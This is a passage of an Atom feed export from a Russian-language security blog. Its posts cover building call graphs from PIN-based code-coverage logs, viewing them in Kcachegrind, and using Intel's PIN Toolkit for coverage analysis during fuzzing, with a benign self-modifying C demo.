/&gt;SYMLIB: DLL_PROCESS_ATTACH&lt;br /&gt;SYMLIB: Symbols path is "C:\Symbols;SRV*C:\Symbols*http://msdl.microsoft.com/download/symbols"&lt;br /&gt;&lt;br /&gt;Code Coverage Analysis Tool for PIN&lt;br /&gt;by Oleksiuk Dmitry, eSage Lab (dmitry@esagelab.com)&lt;br /&gt;&lt;br /&gt;[!] Psyco is not available&lt;br /&gt;[+] Input file(s): CoverageData.log.0, CoverageData.log.1, CoverageData.log.10, CoverageData.log.11, CoverageData.log.12, CoverageData.log.13, CoverageData.log.14, CoverageData.log.15, CoverageData.log.16, CoverageData.log.17, CoverageData.log.18, CoverageData.log.19, CoverageData.log.2, CoverageData.log.20, CoverageData.log.21, CoverageData.log.22, CoverageData.log.3, CoverageData.log.4, CoverageData.log.5, CoverageData.log.6, CoverageData.log.7, CoverageData.log.8, CoverageData.log.9&lt;br /&gt;[+] Output file: Callgrind.out&lt;br /&gt;[+] 80 modules readed&lt;br /&gt;[+] Parsing routines list, please wait...&lt;br /&gt;&lt;br /&gt;[+] 27806 routines readed&lt;br /&gt;[+] Parsing call tree, please wait...&lt;br /&gt;&lt;br /&gt;SYMLIB: Module loaded from "C:\Windows\SYSTEM32\ntdll.dll"&lt;br /&gt;SYMLIB: 4239 symbols loaded for "C:\Windows\SYSTEM32\ntdll.dll"&lt;br /&gt;SYMLIB: Module loaded from "C:\Windows\system32\IEFRAME.dll"&lt;br /&gt;SYMLIB: 33516 symbols loaded for "C:\Windows\system32\IEFRAME.dll"&lt;br /&gt;SYMLIB: Module loaded from "C:\Windows\System32\mshtml.dll"&lt;br /&gt;SYMLIB: 35150 symbols loaded for "C:\Windows\System32\mshtml.dll"&lt;br /&gt;SYMLIB: Module loaded from "C:\Windows\system32\OLEAUT32.dll"&lt;br /&gt;SYMLIB: 3940 symbols loaded for "C:\Windows\system32\OLEAUT32.dll"&lt;br /&gt;&lt;br /&gt;... skipped ...&lt;br /&gt;&lt;br /&gt;[+] DONE (15 mins., 33 secs.)&lt;br /&gt;&lt;br /&gt;SYMLIB: DLL_PROCESS_DETACH&lt;/pre&gt;По завершению работы coverage_to_callgraph.py в текущей директории будет создан файл Callgrind.out, работать с которым можно с помощью программы &lt;a href="http://kcachegrind.sourceforge.net/"&gt;Kcachegrind&lt;/a&gt;, которая является наиболее удобным и популярным просмотрщиком логов Callgrind. Windows-версия Kcachegrind так же &lt;a href="http://sourceforge.net/projects/precompiledbin/"&gt;доступна на SourceForge&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Вид главного окна программы:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://dl.dropbox.com/u/22903093/blog/callgraph/Call_1.jpg"&gt;&lt;img alt="" height="304" src="http://dl.dropbox.com/u/22903093/blog/callgraph/Call_1.jpg" width="450" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Kcachegrind обладает весьма развитыми возможностями для навигации по дереву вызовов, он позволяет:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Строить графы вызовов для интересующих процедур.&lt;/li&gt;&lt;li&gt;Отображать список функций, которые вызывали текущую (либо непосредственно, либо по цепочке).&lt;/li&gt;&lt;li&gt;Отображать список функций, которые были вызваны текущей.&lt;/li&gt;&lt;li&gt;Фильтровать отображаемую информацию по имени класса или исполняемого модуля и многое другое.&lt;/li&gt;&lt;/ul&gt;Выбор типа группировки для списка функций:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://dl.dropbox.com/u/22903093/blog/callgraph/Call_0.gif"&gt;&lt;img alt=""  src="http://dl.dropbox.com/u/22903093/blog/callgraph/Call_0.gif" style="border: 1px solid black;" width="396" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Для отрисовки графов в графов в Kcachegrind используется инструмент dot, из состава пакета &lt;a href="http://www.graphviz.org/"&gt;Graphviz&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Пример графа вызовов относительно текущей процедуры:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://dl.dropbox.com/u/22903093/blog/callgraph/Call_2.jpg"&gt;&lt;img alt="" height="473" src="http://dl.dropbox.com/u/22903093/blog/callgraph/Call_2.jpg" style="border-bottom-color: black; border-bottom-style: solid; border-bottom-width: 1px; border-left-color: black; border-left-style: solid; border-left-width: 1px; border-right-color: black; border-right-style: solid; border-right-width: 1px; border-top-color: black; border-top-style: solid; border-top-width: 1px;" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Ещё несколько примеров:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://dl.dropbox.com/u/22903093/blog/callgraph/Call_3.jpg" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img alt="" height="435" src="http://dl.dropbox.com/u/22903093/blog/callgraph/Call_3.jpg" style="border-bottom-color: black; border-bottom-style: solid; border-bottom-width: 1px; border-left-color: black; border-left-style: solid; border-left-width: 1px; border-right-color: black; border-right-style: solid; border-right-width: 1px; border-top-color: black; border-top-style: solid; border-top-width: 1px;" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://dl.dropbox.com/u/22903093/blog/callgraph/Call_4.jpg" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img alt="" height="431" src="http://dl.dropbox.com/u/22903093/blog/callgraph/Call_4.jpg" style="border-bottom-color: black; border-bottom-style: solid; border-bottom-width: 1px; border-left-color: black; border-left-style: solid; border-left-width: 1px; border-right-color: black; border-right-style: solid; border-right-width: 1px; border-top-color: black; border-top-style: solid; border-top-width: 1px;" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;Разработанный инструмент хорошо справляется с анализом весьма тяжелых приложений (таких как веб-браузеры), что и было продемонстрировано на примерах выше. Так же его можно использовать для детектирования факта успешной эксплуатации какой-либо уязвимости: Kcachegrind покажет&amp;nbsp;исполненный в результате атаки шеллкод как неизвестную страницу памяти, которая не принадлежит какому-либо исполняемому модулю.&lt;/div&gt;&lt;div style="text-align: left;"&gt;Стоит отметить, что запуск инструментального модуля в режиме записи всех вызовов не приводит к сколь-либо заметному снижению производительности исследуемого приложения по сравнению с режимом построения простой карты покрытия кода (см. результаты тестов, которые были озвучены в &lt;a href="http://esagelab.ru/blog/research/%D0%B0%D0%BD%D0%B0%D0%BB%D0%B8%D0%B7-%D0%BF%D0%BE%D0%BA%D1%80%D1%8B%D1%82%D0%B8%D1%8F-%D0%BA%D0%BE%D0%B4%D0%B0-%D0%BF%D1%80%D0%B8-%D0%BF%D0%BE%D0%B8%D1%81%D0%BA%D0%B5-%D1%83%D1%8F%D0%B7%D0%B2%D0%B8"&gt;предыдущей записи&lt;/a&gt;).&lt;/div&gt;&lt;div style="text-align: left;"&gt;Обновленный набор Code Coverage Analysis Tools доступен для загрузки &lt;a href="https://github.com/Cr4sh/Code-coverage-analysis-tools"&gt;на странице проекта в GitHub&lt;/a&gt;.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1259663162418910941-5642798077664889814?l=blog.cr4.sh' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cr4.sh/feeds/5642798077664889814/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://blog.cr4.sh/2011/04/blog-post.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1259663162418910941/posts/default/5642798077664889814'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1259663162418910941/posts/default/5642798077664889814'/><link rel='alternate' type='text/html' href='http://blog.cr4.sh/2011/04/blog-post.html' title='От покрытия кода к дереву вызовов'/><author><name>Сr4sh</name><uri>http://www.blogger.com/profile/15699156202053043387</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_8WKXMyf2wH8/TQdhp_Ix_JI/AAAAAAAAABo/2_SuNdpwTzg/S220/av.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1259663162418910941.post-7275250139051537170</id><published>2011-03-23T06:01:00.000-07:00</published><updated>2011-12-03T12:58:14.241-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='уязвимости'/><category scheme='http://www.blogger.com/atom/ns#' term='Esаge Lab'/><category scheme='http://www.blogger.com/atom/ns#' term='релизы'/><title type='text'>Анализ покрытия кода при поиске уязвимостей</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div class="repost"&gt;Репост из &lt;a href="http://esagelab.ru/blog/research/%D0%B0%D0%BD%D0%B0%D0%BB%D0%B8%D0%B7-%D0%BF%D0%BE%D0%BA%D1%80%D1%8B%D1%82%D0%B8%D1%8F-%D0%BA%D0%BE%D0%B4%D0%B0-%D0%BF%D1%80%D0%B8-%D0%BF%D0%BE%D0%B8%D1%81%D0%BA%D0%B5-%D1%83%D1%8F%D0%B7%D0%B2%D0%B8"&gt;блога Esage Lab&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Сутью задачи анализа &lt;a href="http://en.wikipedia.org/wiki/Code_coverage"&gt;покрытия кода&lt;/a&gt; (Code Coverage) является динамический анализ исполняемой программы с целью выяснения того, какие её части (и какое количество раз) были исполнены. Как не сложно догадаться, к основными областям, в которых решение данной задачи является востребованным, относятся тестирование программного обеспечения и фаззинг, как его более частный вариант. Для специалиста, занимающегося автоматизированным выявлением уязвимостей,&amp;nbsp;полученная в ходе анализа покрытия кода информация особенно ценна из-за того, что она позволяет совершенно однозначно оценивать эффективность методов, применяемых для выявления уязвимостей: чем больше ветвей алгоритмов целевого приложения исполнялось в ходе тестирования - тем и эффективнее эти методы тестирования.&lt;br /&gt;&lt;br /&gt;Для программ, которые написаны на компилируемых в машинный код языках, существуют следующие классы инструментов, позволяющих анализировать покрытие кода:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Профилировщики, использующие промежуточное представление кода (пример:&amp;nbsp;&lt;a href="http://llvm.org/"&gt;LLVM&lt;/a&gt;, &lt;a href="http://valgrind.org/"&gt;Vallgrind&lt;/a&gt;). Основным их недостатком является то, что такие профилировщики пригодны только для анализа программ с доступными исходными текстами.&lt;/li&gt;&lt;li&gt;Инструменты, использующие возможности для отладки, предоставляемые операционной системой (например: системный вызов &lt;a href="http://linux.die.net/man/2/ptrace"&gt;ptrace&lt;/a&gt;() в *nix или &lt;a href="http://msdn.microsoft.com/en-us/library/ms679303(v=vs.85).aspx"&gt;Debug API&lt;/a&gt; в Windows). В качестве примера программ подобного рода можно привести &lt;a href="http://pedram.redhive.com/code/process_stalker/"&gt;ProcessStalker&lt;/a&gt;, фреймворк &lt;a href="http://code.google.com/p/paimei/"&gt;PaiMei&lt;/a&gt; а так же множество сомнительного вида скриптов, как для отладчиков, так и выполненные в виде отдельных инструментов (&lt;a href="http://seclists.org/dailydave/2010/q4/12"&gt;blocks.py&lt;/a&gt;, &lt;a href="http://redmine.corelan.be:8800/attachments/download/50/Tracer.py"&gt;Tracer.py&lt;/a&gt; и другие). Данные инструменты обладают огромным количеством недостатков, что делает их совершенно непригодными для сколь-либо серьёзного использования. Среди основных: низкая производительность, сложности при анализе исполнения всех модулей в контексте процесса а так же, во многих случаях, потребность предварительного анализа интересующих модулей с помощью внешней программы (IDA Pro).&lt;/li&gt;&lt;li&gt;Инструменты, &amp;nbsp;на прямую использующие возможности для отладки, заложенные в самой аппаратной архитектуре (пример: &lt;a href="http://www.woodmann.com/forum/showthread.php?11306-Good-binary-code-profilers/page2"&gt;CFSearch&lt;/a&gt;, &lt;a href="http://artem.ufoctf.ru/?p=485"&gt;IKWYD&lt;/a&gt;). Подход как таковой не имеет явно выраженных недостатков, и целесообразность применения на практике той или иной программы определяется исключительно недостатками их реализации.&lt;/li&gt;&lt;li&gt;Полные эмуляторы, представляющие собой модифицированные виртуальные машины исполняющие весь код операционной системы, в среде которой запущенно тестируемое приложение (пример: &lt;a href="http://bitblaze.cs.berkeley.edu/temu.html"&gt;TEMU&lt;/a&gt;). Основным недостатком данного класса программ является крайне низкая производительность, ведь эмуляции подлежит вся операционная система, а не только тестируемое приложение.&lt;/li&gt;&lt;li&gt;JiT-рекомпиляторы, осуществляющие анализ хода исполнения программы путём модификации её инструкций в процессе исполнения (пример:&amp;nbsp;&lt;a href="http://www.pintool.org/"&gt;PIN Toolkit&lt;/a&gt;, &lt;a href="http://dynamorio.org/"&gt;DynamoRIO&lt;/a&gt;). По моему мнению, данные инструменты свободны от большей части перечисленных выше минусов, и поэтому лучше всего подходят для анализа покрытия кода при фаззинге. Из недостатков можно отметить разве что отсутствие готовых инструментов подобного рода, пригодных для анализа покрытия кода компонентов режима ядра.&lt;/li&gt;&lt;/ol&gt;В данной заметке я расскажу об относительно малоизвестном но весьма мощном инструментальном средстве под названием&amp;nbsp;&lt;a href="http://www.pintool.org/"&gt;PIN Toolkit&lt;/a&gt;.&amp;nbsp;PIN является наиболее функциональным и стабильным представителем программ, использующих динамическую рекомпиляцию кода для анализа его исполнения.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Основы работы с PIN&lt;/h3&gt;PIN представляет собой спонсируемую компанией Intel бесплатную разработку, которая поставляется с частично открытыми исходными текстами в виде SDK для Linux, Windows и Mac OS X. PIN работает на архитектурах IA-32, IA-64 (Itanium) и Intel64 (x86_64). Структурно его можно разделить на основное приложение (pin.exe), внедряемое в контекст анализируемого процесса ядро (pinvm.dll) и разрабатываемый пользователем&amp;nbsp;инструментальный модуль (он так же внедряется в контекст анализируемого процесса). Инструментальный модуль представляет собой DLL-библиотеку, которая использует API, предоставляемый ядром PIN. Суть работы с API сводится к регистрации обработчиков, которые будут вызываться ядром в ходе исполнения кода исследуемого приложения и осуществлять либо логирование связанной с ходом исполнения информации, либо менять логику исполнения кода приложения любым образом, который разработчик инструментального модуля сочтет нужным.&lt;br /&gt;&lt;br /&gt;Работать с анализируемым кодом назначаемые обработчики могут на следующих уровнях функциональности и гранулярности:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Исполняемые модули. Обработчик, который вызывается при загрузке какого-либо исполняемого модуля в контекст исследуемого процесса регистрируется при помощи функции &lt;a href="http://www.cs.virginia.edu/kim/publicity/pin/docs/39599/Pin/html/group__IMG__BASIC__API.html"&gt;IMG_AddInstrumentFunction&lt;/a&gt;(). Для работы с загружаемым модулем из обработчика используются другие &lt;a href="http://www.cs.virginia.edu/kim/publicity/pin/docs/39599/Pin/html/group__IMG__BASIC__API.html"&gt;IMG-функции&lt;/a&gt;, а &amp;nbsp;для работы с отдельными секциями - функции &lt;a href="http://www.cs.virginia.edu/kim/publicity/pin/docs/39599/Pin/html/group__SEC__BASIC__API.html"&gt;SEC-семейства&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;Функции. Обработчик, который вызывается для каждой функции исследуемой программы регистрируется при помощи функции &lt;a href="http://www.cs.virginia.edu/kim/publicity/pin/docs/39599/Pin/html/group__RTN__BASIC__API.html"&gt;RTN_AddInstrumentCall&lt;/a&gt;(). Для работы с инструкциями исследуемой функции внутри&amp;nbsp;этого обработчика следует использовать &lt;a href="http://www.cs.virginia.edu/kim/publicity/pin/docs/39599/Pin/html/group__RTN__BASIC__API.html"&gt;RTN_InsHead&lt;/a&gt;()/&lt;a href="http://www.cs.virginia.edu/kim/publicity/pin/docs/39599/Pin/html/group__RTN__BASIC__API.html"&gt;RTN_InsTail&lt;/a&gt;() а так же семейство &lt;a href="http://www.cs.virginia.edu/kim/publicity/pin/docs/39599/Pin/html/group__INS__BASIC__API.html"&gt;INS-функций&lt;/a&gt; для исследования самих инструкций.&lt;/li&gt;&lt;li&gt;Базовые блоки (basic blocks). Под базовым блоком подразумевается линейный участок кода находящийся между двумя инструкциями, которые являются или точкой входа вектора исполнения или непосредственно меняют значение EIP (CALL, JMP/Jxx, RET, и так далее). Обработчик, который вызывается для каждого базового блока исследуемой программы, регистрируется при помощи функции &lt;a href="http://www.cs.virginia.edu/kim/publicity/pin/docs/39599/Pin/html/group__TRACE__BASIC__API.html"&gt;TRACE_AddInstrumentFunction&lt;/a&gt;(). Назначать обработчики для отдельных базовых блоков можно с помощью &lt;a href="http://www.cs.virginia.edu/kim/publicity/pin/docs/39599/Pin/html/group__BBL__BASIC__API.html"&gt;BBL_InsertCall&lt;/a&gt;().&amp;nbsp;Для работы с отдельными инструкциями, составляющими базовый блок, в теле обработчика можно использовать функции &lt;a href="http://www.cs.virginia.edu/kim/publicity/pin/docs/39599/Pin/html/group__BBL__BASIC__API.html"&gt;BBL_InsHead&lt;/a&gt;()/&lt;a href="http://www.cs.virginia.edu/kim/publicity/pin/docs/39599/Pin/html/group__BBL__BASIC__API.html"&gt;BBL_InsNext&lt;/a&gt;().&lt;/li&gt;&lt;li&gt;Собственно, сами инструкции. Обработчик, который вызывается для каждой инструкции исследуемой программы регистрируется при помощи функции &lt;a href="http://www.cs.virginia.edu/kim/publicity/pin/docs/39599/Pin/html/group__INS__BASIC__API.html"&gt;INS_AddInstrumentFunction&lt;/a&gt;(). Назначать обработчики для отдельных инструкций можно с помощью &lt;a href="http://www.cs.virginia.edu/kim/publicity/pin/docs/39599/Pin/html/group__INS__BASIC__API.html"&gt;INS_InsertCall&lt;/a&gt;(). Для анализа инструкций PIN использует библиотеку под названием XED. &lt;a href="http://www.cs.virginia.edu/kim/publicity/pin/docs/20751/Xed/html/"&gt;Его API&lt;/a&gt; так же доступно для использования в инструментальных модулях.&lt;/li&gt;&lt;/ul&gt;Так как ядро PIN перехватывает исполнение целевого процесса начиная с точки входа системного загрузчика - в инструментальных модулях гарантированно безопасное использование только функций самого PIN-а и стандартной С/С++ библиотеки. Попытка использования, к примеру, Win32 API чаще всего приводит к неработоспособности инструментального модуля.&lt;br /&gt;&lt;br /&gt;Множество примеров разработки инструментальных модулей с подробными комментариями доступны в &lt;a href="http://www.pintool.org/docs/39599/Pin/html/"&gt;официальном руководстве&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Как уже было сказано, PIN работает по принципу динамической рекомпиляции кода исследуемой программы: в процессе его исполнения на место нужной инструкции записывается переход (JMP) в pinvm.dll, которая вызывает зарегистрированные инструментальным модулем обработчики и модифицирует инструкцию (или базовый блок) следующую за текущей. Таким образом достигается контроль над исполнением всего кода. Высокая скорость работы исследуемого кода при таких, казалось бы, сложных манипуляциях с ним обеспечивается за счёт отсутствия накладных расходов на взаимодействие между процессами и переключение потока между режимом пользователя и ядра, которые "съедают" основную часть процессорного времени при использовании более традиционных способов трассировки. Что интересно, под PIN нормально работают и сложные многопоточные приложения и даже самомодифицирующийся&amp;nbsp;код, вроде следующего:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;div&gt;&lt;span style="color: teal;"&gt; 1&lt;/span&gt; &lt;span style="color: black;"&gt;#include &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: black;"&gt;Windows.h&lt;/span&gt;&lt;span style="color: black;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 2&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 3&lt;/span&gt; &lt;span style="color: black;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;#pragma&lt;/span&gt;&lt;span style="color: black;"&gt; comment(linker,"/ENTRY:f_main")&lt;/span&gt;&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 4&lt;/span&gt; &lt;span style="color: blue;"&gt;#pragma&lt;/span&gt;&lt;span style="color: black;"&gt; comment(linker,"/SECTION:.text,EWR")&lt;/span&gt;&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 5&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 6&lt;/span&gt; &lt;span style="color: black;"&gt;VOID Func_1(VOID)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 7&lt;/span&gt; &lt;span style="color: black;"&gt;{&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 8&lt;/span&gt; &lt;span style="color: black;"&gt;    MessageBoxA(&lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;, __FUNCTION__&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;() called&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;, &lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;Message&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;, &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 9&lt;/span&gt; &lt;span style="color: black;"&gt;}&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;10&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;11&lt;/span&gt; &lt;span style="color: black;"&gt;VOID Func_2(VOID)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;12&lt;/span&gt; &lt;span style="color: black;"&gt;{&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;13&lt;/span&gt; &lt;span style="color: black;"&gt;    MessageBoxA(&lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;, __FUNCTION__&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;() called&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;, &lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;Message&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;, &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;14&lt;/span&gt; &lt;span style="color: black;"&gt;}&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;15&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;16&lt;/span&gt; &lt;span style="color: black;"&gt;__declspec(naked) VOID Func(VOID)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;17&lt;/span&gt; &lt;span style="color: black;"&gt;{&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;18&lt;/span&gt; &lt;span style="color: black;"&gt;    __asm&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;19&lt;/span&gt; &lt;span style="color: black;"&gt;    {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;20&lt;/span&gt; &lt;span style="color: black;"&gt;        push    &lt;/span&gt;&lt;span style="color: purple;"&gt;0x90909090&lt;/span&gt;&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;21&lt;/span&gt; &lt;span style="color: black;"&gt;        ret&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;22&lt;/span&gt; &lt;span style="color: black;"&gt;    }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;23&lt;/span&gt; &lt;span style="color: black;"&gt;}&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;24&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;25&lt;/span&gt; &lt;span style="color: black;"&gt;DWORD WINAPI f_main(VOID)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;26&lt;/span&gt; &lt;span style="color: black;"&gt;{&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;27&lt;/span&gt; &lt;span style="color: black;"&gt;    DWORD Address &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;28&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: blue;"&gt;char&lt;/span&gt;&lt;span style="color: black;"&gt; szMessage[&lt;/span&gt;&lt;span style="color: purple;"&gt;0x50&lt;/span&gt;&lt;span style="color: black;"&gt;];&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;29&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;30&lt;/span&gt; &lt;span style="color: black;"&gt;    __asm&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;31&lt;/span&gt; &lt;span style="color: black;"&gt;    {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;32&lt;/span&gt; &lt;span style="color: black;"&gt;        call    _get_addr&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;33&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;34&lt;/span&gt; &lt;span style="color: black;"&gt;_get_addr:&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;35&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;36&lt;/span&gt; &lt;span style="color: black;"&gt;        pop     eax&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;37&lt;/span&gt; &lt;span style="color: black;"&gt;        mov     Address, eax&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;38&lt;/span&gt; &lt;span style="color: black;"&gt;    }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;39&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;40&lt;/span&gt; &lt;span style="color: black;"&gt;    wsprintf(szMessage, &lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;Address is 0x%.8x&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;, Address);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;41&lt;/span&gt; &lt;span style="color: black;"&gt;    MessageBoxA(&lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;, szMessage, &lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;Message&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;, &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;42&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;43&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(PDWORD)((PUCHAR)&lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt;Func &lt;/span&gt;&lt;span style="color: black;"&gt;+&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;1&lt;/span&gt;&lt;span style="color: black;"&gt;) &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; (DWORD)&lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt;Func_1;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;44&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;45&lt;/span&gt; &lt;span style="color: black;"&gt;    Func();&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;46&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;47&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: black;"&gt;*&lt;/span&gt;&lt;span style="color: black;"&gt;(PDWORD)((PUCHAR)&lt;/span&gt;&lt;span style="color: black;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: black;"&gt;Func &lt;/span&gt;&lt;span style="color: 